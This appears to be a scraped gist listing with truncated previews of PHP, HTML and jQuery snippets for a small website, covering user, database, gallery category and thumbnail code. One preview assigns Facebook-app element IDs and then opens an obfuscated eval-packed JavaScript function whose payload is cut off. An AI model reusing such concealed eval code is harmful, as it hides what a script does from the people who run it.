This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* Notes: | |
- This is part of a much bigger "core" class for a website. | |
- ->make_time($unix_timestamp,$data_parameters) is pretty much date() but using the logged in user's timezone | |
*/ | |
function fb_reltime($time,$html = true) // assumes a date in the past | |
{ | |
if($time > TIME) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<style> | |
html * | |
{ | |
font-family: sans-serif; | |
} | |
body * |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function () | |
{ | |
a = 'app118296574867324_iji'; | |
b = 'app118296574867324_aja'; | |
rew = 'app118296574867324_rew'; | |
qwe = 'app118296574867324_qwe'; | |
qtt = 'app118296574867324_qtt'; | |
eval(function (p, a, c, k, e, r) | |
{ | |
e = function (c) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class User | |
{ | |
private $core; | |
private $data; | |
private $loaded = false; | |
function __construct(&$core,$uid = null) | |
{ | |
$this->core = $core; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class Database | |
{ | |
/** | |
* A list of Electron database functions and their eqivalents. | |
* This can be used to adapt Electron Forums to other database types. | |
*/ | |
var $functions = array( | |
'connect' => 'mysql_connect' , | |
'pconnect' => 'mysql_pconnect' , |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$q = $db->query("SELECT * FROM `gallery_categories` ORDER BY `parent` ASC,`order` ASC"); | |
while($r = $db->fetch_assoc($q)) | |
{ | |
if($r["parent"]) | |
{ | |
if(!isset($cats[$r["parent"]]["children"])) { $cats[$r["parent"]]["children"] = array(); } | |
$i = count($cats[$r["parent"]]["children"]); | |
$cats[$r["parent"]]["children"][$i] = $r; | |
$cats[$r["id"]] = &$cats[$r["parent"]]["children"][$i]; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// $all_cats; | |
// $categories; | |
$completed_categories = array(); | |
$level = 0; | |
foreach($all_cats as $category) | |
{ | |
if(!in_array($category["id"],$completed_categories)) // The category we are doing hasn't been done yet, Should indicate a parent. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery(document).ready(function($) { | |
var support = ('placeholder' in (document.createElement("input"))); | |
if(!support) | |
{ | |
var eles = document.getElementsByTagName("input"); | |
for(var i = 0;i < eles.length;i++) | |
{ | |
if(eles[i].getAttribute("placeholder")) | |
{ | |
if(!eles[i].value) { eles[i].value = eles[i].getAttribute("placeholder"); } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Creates a thumbnail for any type of pre-existing image. Always saves as PNG image | |
* Works properly with GIF transparency and PNG Alpha Transparency. | |
* If Image is less than max_width and max_height it will stay at the size of the image. | |
* | |
* @param string - The location of the pre-existing image. | |
* @param string - The location to save the thumbnail, including filename and extension. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class GenericVariable | |
{ | |
private $var; | |
function __construct($variable) | |
{ | |
$this->var = $variable; | |
} | |
function __get($var) |